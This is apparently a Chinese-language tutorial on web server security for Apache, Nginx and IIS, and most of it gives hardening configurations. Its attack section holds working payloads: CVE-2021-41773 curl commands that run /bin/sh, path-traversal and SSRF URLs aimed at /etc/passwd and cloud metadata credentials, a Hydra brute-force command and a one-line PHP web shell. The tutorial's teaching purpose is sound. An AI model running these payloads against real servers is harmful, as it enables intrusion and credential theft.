什麼是網頁伺服器?
網頁伺服器(Web Server)是一種軟體,負責接收使用者的 HTTP/HTTPS 請求,並回傳網頁內容(HTML、CSS、JavaScript、圖片等)給瀏覽器。
三大主流網頁伺服器
| 伺服器 | 開發者 | 作業系統 | 市佔率 | 特色 |
|---|---|---|---|---|
| Apache | Apache 軟體基金會 | 跨平台 | 約 30% | 歷史悠久、模組豐富、設定彈性高 |
| Nginx | Nginx Inc. (現為 F5) | 跨平台 | 約 34% | 高效能、低資源消耗、反向代理首選 |
| IIS | Microsoft | Windows | 約 6% | 與 Windows Server 深度整合、支援 .NET |
它們在做什麼?
使用者瀏覽器 ──HTTP 請求──▶ 網頁伺服器 ──▶ 處理請求
◀──────HTML 回應────── ◀────── 回傳內容
簡單來說,網頁伺服器就像是餐廳的服務生:
– 接收客人(使用者)的點餐(請求)
– 把餐點(網頁內容)送到客人面前
跟資安有什麼關係?
網頁伺服器是攻擊的第一道門
網頁伺服器通常是企業對外開放的第一個接觸點,也是駭客最常攻擊的目標之一。
網際網路 ──▶ 防火牆 ──▶ 【網頁伺服器】 ──▶ 應用程式 ──▶ 資料庫
▲
攻擊者的首要目標
為什麼資安人員必須學?
| 角色 | 需要了解的原因 |
|---|---|
| 滲透測試人員 | 需要知道如何找出伺服器的漏洞與錯誤設定 |
| 藍隊/防禦人員 | 需要知道如何正確設定與強化伺服器安全 |
| 資安分析師 | 需要看懂 Log 記錄,分析攻擊行為 |
| 事件應變人員 | 需要快速判斷伺服器是否被入侵 |
常見資安事件與伺服器的關聯
- 網站被掛馬(植入惡意程式)
- 敏感資料外洩(設定檔、原始碼)
- 網站被置換(Defacement)
- 作為跳板攻擊內網其他主機
- DDoS 攻擊導致服務中斷
需要注意哪些內容?
1. 版本資訊
# 不安全:暴露版本資訊
Server: Apache/2.4.41 (Ubuntu)
Server: nginx/1.18.0
Server: Microsoft-IIS/10.0
# 安全:隱藏或模糊化
Server: Apache
Server: nginx
2. 預設設定
| 項目 | 風險 | 建議 |
|---|---|---|
| 預設頁面 | 暴露伺服器類型與版本 | 移除或替換 |
| 目錄列表(Directory Listing) | 暴露檔案結構 | 關閉 |
| 預設帳號密碼 | 容易被猜測 | 立即更改或停用 |
| 範例程式 | 可能含有漏洞 | 移除 |
3. 設定檔位置
了解設定檔位置是進行安全稽核的基礎:
# Apache
/etc/apache2/apache2.conf # Debian/Ubuntu
/etc/httpd/conf/httpd.conf # CentOS/RHEL
C:\Apache24\conf\httpd.conf # Windows
# Nginx
/etc/nginx/nginx.conf
/etc/nginx/sites-available/
/etc/nginx/sites-enabled/
# IIS
%windir%\System32\inetsrv\config\applicationHost.config
C:\inetpub\wwwroot\web.config
4. Log 記錄位置
Log 是追蹤攻擊行為的重要依據:
# Apache
/var/log/apache2/access.log
/var/log/apache2/error.log
# Nginx
/var/log/nginx/access.log
/var/log/nginx/error.log
# IIS
C:\inetpub\logs\LogFiles\
5. 常見敏感檔案與路徑
攻擊者常會嘗試存取的檔案:
/.git/ # Git 版本控制目錄
/.svn/ # SVN 版本控制目錄
/.env # 環境變數設定檔
/web.config # IIS 設定檔
/.htaccess # Apache 設定檔
/phpinfo.php # PHP 資訊頁面
/server-status # Apache 狀態頁面
/nginx_status # Nginx 狀態頁面
/backup.sql # 資料庫備份
/config.php.bak # 設定檔備份
常見攻擊手法
1. 已知漏洞利用(Known Vulnerabilities)
說明
攻擊者利用已公開的 CVE 漏洞,攻擊未更新的伺服器。
經典案例
| CVE 編號 | 影響範圍 | 說明 |
|---|---|---|
| CVE-2021-41773 | Apache 2.4.49 | 路徑穿越漏洞,可讀取任意檔案 |
| CVE-2021-42013 | Apache 2.4.50 | 上述漏洞的繞過,可執行任意指令 |
| CVE-2017-7269 | IIS 6.0 | WebDAV 緩衝區溢位,可遠端執行程式碼 |
| CVE-2019-11043 | Nginx + PHP-FPM | 可遠端執行程式碼 |
攻擊方式
# CVE-2021-41773 路徑穿越範例
curl 'http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd'
# 如果 mod_cgi 啟用,可執行指令
curl -X POST 'http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' \
-d 'echo; id; whoami'
2. 不安全的設定(Misconfigurations)
目錄列表(Directory Listing)
# 風險:攻擊者可瀏覽整個目錄結構
http://example.com/backup/
Index of /backup
db_backup_2024.sql
config.php.bak
passwords.txt
敏感資訊洩漏
# Server Header 洩漏版本
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu) PHP/7.4.3
# 錯誤訊息洩漏路徑
Warning: include(/var/www/html/config.php): failed to open stream
不當的存取控制
# 危險設定:允許存取 .htaccess
<FilesMatch "^\.ht">
Require all granted
</FilesMatch>
# 危險設定:允許執行上傳目錄的腳本
<Directory "/var/www/html/uploads">
Options +ExecCGI
</Directory>
3. 路徑穿越攻擊(Path Traversal)
說明
利用 ../ 或編碼變體來存取網站根目錄以外的檔案。
攻擊範例
# 基本路徑穿越
http://example.com/download?file=../../../etc/passwd
# URL 編碼繞過
http://example.com/download?file=..%2f..%2f..%2fetc/passwd
# 雙重編碼繞過
http://example.com/download?file=..%252f..%252f..%252fetc/passwd
# Null byte 注入(舊版本)
http://example.com/download?file=../../../etc/passwd%00.jpg
4. HTTP 請求走私(HTTP Request Smuggling)
說明
利用前端伺服器(如 Nginx)與後端伺服器(如 Apache)對 HTTP 請求解析的差異進行攻擊。
攻擊原理
POST / HTTP/1.1
Host: example.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
5. Server-Side Request Forgery(SSRF)
說明
誘使伺服器向內部網路發送請求。
攻擊範例
# 透過伺服器存取內部服務
http://example.com/fetch?url=http://127.0.0.1:8080/admin
http://example.com/fetch?url=http://169.254.169.254/latest/meta-data/
# 雲端環境 Metadata 竊取
http://example.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
6. 拒絕服務攻擊(DoS/DDoS)
常見手法
| 攻擊類型 | 說明 |
|---|---|
| Slowloris | 建立大量慢速連線,耗盡連線數 |
| HTTP Flood | 大量合法 HTTP 請求 |
| SYN Flood | TCP 握手攻擊 |
| Amplification | 利用反射放大流量 |
Slowloris 攻擊原理
# 概念示意(請勿用於非法用途)
# 持續發送不完整的 HTTP Header,佔用連線
GET / HTTP/1.1
Host: target.com
X-Custom-Header-1: value
X-Custom-Header-2: value
# 持續發送,永不結束...
7. 暴力破解與密碼攻擊
目標
- HTTP Basic Authentication
- 管理後台登入頁面
- WebDAV 認證
攻擊工具
# 使用 Hydra 進行暴力破解
hydra -l admin -P wordlist.txt http-get://example.com/admin
# 使用 Burp Suite Intruder
# 設定 Payload 進行自動化測試
8. Web Shell 上傳與後門
攻擊流程
找到上傳功能 → 繞過檔案類型檢查 → 上傳 Web Shell → 執行指令
常見 Web Shell 範例
# 極簡 PHP Web Shell
<?php system($_GET['cmd']); ?>
# 使用方式
http://example.com/uploads/shell.php?cmd=whoami
如何防禦
1. 保持更新
# Debian/Ubuntu - Apache
sudo apt update && sudo apt upgrade apache2
# CentOS/RHEL - Apache
sudo yum update httpd
# Nginx
sudo apt update && sudo apt upgrade nginx
# 訂閱安全公告
# Apache: https://httpd.apache.org/security/
# Nginx: https://nginx.org/en/security_advisories.html
# IIS: Microsoft Security Update Guide
2. 隱藏版本資訊
Apache
# /etc/apache2/conf-available/security.conf
ServerTokens Prod
ServerSignature Off
Nginx
# /etc/nginx/nginx.conf
http {
server_tokens off;
}
IIS
<!-- web.config -->
<system.webServer>
<httpProtocol>
<customHeaders>
<remove name="X-Powered-By" />
</customHeaders>
</httpProtocol>
<security>
<requestFiltering removeServerHeader="true" />
</security>
</system.webServer>
3. 關閉目錄列表
Apache
<Directory /var/www/html>
Options -Indexes
</Directory>
Nginx
location / {
autoindex off;
}
IIS
IIS Manager → 選擇網站 → Directory Browsing → Disable
4. 限制敏感檔案存取
Apache
# 禁止存取隱藏檔案
<FilesMatch "^\.">
Require all denied
</FilesMatch>
# 禁止存取備份檔
<FilesMatch "\.(bak|old|backup|sql|config)$">
Require all denied
</FilesMatch>
# 禁止存取設定檔
<FilesMatch "(web\.config|\.htaccess|\.htpasswd|\.git|\.svn|\.env)">
Require all denied
</FilesMatch>
Nginx
# 禁止存取隱藏檔案
location ~ /\. {
deny all;
return 404;
}
# 禁止存取敏感副檔名
location ~* \.(bak|old|backup|sql|config)$ {
deny all;
return 404;
}
5. 設定安全標頭(Security Headers)
Apache
<IfModule mod_headers.c>
# 防止 Clickjacking
Header always set X-Frame-Options "SAMEORIGIN"
# 防止 MIME 類型混淆
Header always set X-Content-Type-Options "nosniff"
# 啟用 XSS 過濾器
Header always set X-XSS-Protection "1; mode=block"
# 強制 HTTPS
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
# Content Security Policy
Header always set Content-Security-Policy "default-src 'self'"
# 移除不必要的標頭
Header unset X-Powered-By
</IfModule>
Nginx
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header Content-Security-Policy "default-src 'self'" always;
6. HTTPS 設定
使用 Let’s Encrypt 免費憑證
# 安裝 Certbot
sudo apt install certbot python3-certbot-apache # Apache
sudo apt install certbot python3-certbot-nginx # Nginx
# 申請憑證
sudo certbot --apache -d example.com
sudo certbot --nginx -d example.com
# 自動更新
sudo certbot renew --dry-run
SSL/TLS 強化設定
# Nginx SSL 設定建議
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
ssl_prefer_server_ciphers on;
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:50m;
ssl_stapling on;
ssl_stapling_verify on;
7. 存取控制與認證
IP 白名單
# Apache - 限制管理後台
<Location /admin>
Require ip 192.168.1.0/24
Require ip 10.0.0.0/8
</Location>
# Nginx - 限制管理後台
location /admin {
allow 192.168.1.0/24;
allow 10.0.0.0/8;
deny all;
}
基本認證
# 建立密碼檔
htpasswd -c /etc/apache2/.htpasswd admin
# Apache 設定
<Location /admin>
AuthType Basic
AuthName "Admin Area"
AuthUserFile /etc/apache2/.htpasswd
Require valid-user
</Location>
8. 速率限制
Nginx
# 定義限制規則
limit_req_zone binary_remote_addr zone=api:10m rate=10r/s;
limit_conn_zonebinary_remote_addr zone=conn:10m;
server {
# 套用速率限制
location /api/ {
limit_req zone=api burst=20 nodelay;
limit_conn conn 10;
}
}
Apache(mod_ratelimit)
<Location /api>
SetOutputFilter RATE_LIMIT
SetEnv rate-limit 500
</Location>
9. 日誌監控與告警
設定完整日誌格式
# Nginx 自訂日誌格式
log_format security 'remote_addr -remote_user [time_local] '
'"request" statusbody_bytes_sent '
'"http_referer" "http_user_agent" '
'request_timeupstream_response_time';
access_log /var/log/nginx/access.log security;
使用 Fail2Ban 自動封鎖
# /etc/fail2ban/jail.local
[nginx-http-auth]
enabled = true
filter = nginx-http-auth
port = http,https
logpath = /var/log/nginx/error.log
maxretry = 3
bantime = 3600
[apache-auth]
enabled = true
port = http,https
filter = apache-auth
logpath = /var/log/apache2/error.log
maxretry = 3
10. Web Application Firewall(WAF)
ModSecurity
# 安裝 ModSecurity
sudo apt install libapache2-mod-security2
# 啟用 OWASP Core Rule Set
sudo apt install modsecurity-crs
# 基本設定
<IfModule security2_module>
SecRuleEngine On
SecRequestBodyAccess On
SecResponseBodyAccess Off
SecAuditLog /var/log/apache2/modsec_audit.log
</IfModule>
11. 最小權限原則
# 設定正確的檔案權限
# 目錄權限
find /var/www/html -type d -exec chmod 755 {} \;
# 檔案權限
find /var/www/html -type f -exec chmod 644 {} \;
# 設定正確的擁有者
chown -R www-data:www-data /var/www/html
# 設定檔案限制寫入
chmod 444 /var/www/html/config.php
學習資源建議
線上資源
| 資源 | 說明 | 連結 |
|---|---|---|
| OWASP | 網頁應用程式安全專案 | https://owasp.org |
| HackTheBox | 滲透測試練習平台 | https://hackthebox.com |
| TryHackMe | 資安學習平台 | https://tryhackme.com |
| PortSwigger Web Security Academy | 免費網頁安全課程 | https://portswigger.net/web-security |
推薦書籍
- 《The Web Application Hacker’s Handbook》
- 《Mastering Modern Web Penetration Testing》
- 《Nginx HTTP Server》
- 《Apache Cookbook》
實作練習建議
- 建立本機測試環境
- 使用 Docker 或虛擬機架設 Apache/Nginx
- 練習各種安全設定
- 使用漏洞靶機
- DVWA(Damn Vulnerable Web Application)
- WebGoat
- Metasploitable
- 學習使用工具
- Burp Suite(代理攔截工具)
- Nikto(網頁伺服器掃描)
- Nmap(網路掃描)
- dirb/gobuster(目錄掃描)
總結
學習網頁伺服器對於資安人員來說是基本功,無論你是想要進行滲透測試還是防禦工作,都需要深入了解這些伺服器的運作原理、常見漏洞與防禦方式。
重點回顧
- 了解 Apache、Nginx、IIS 的差異與特性
- 掌握常見的攻擊手法與漏洞類型
- 學會基本的安全設定與強化技巧
- 持續關注最新的安全公告與更新
學習路線建議
基礎知識 → 架設環境 → 了解設定 → 學習攻擊手法 → 練習防禦 → 持續精進


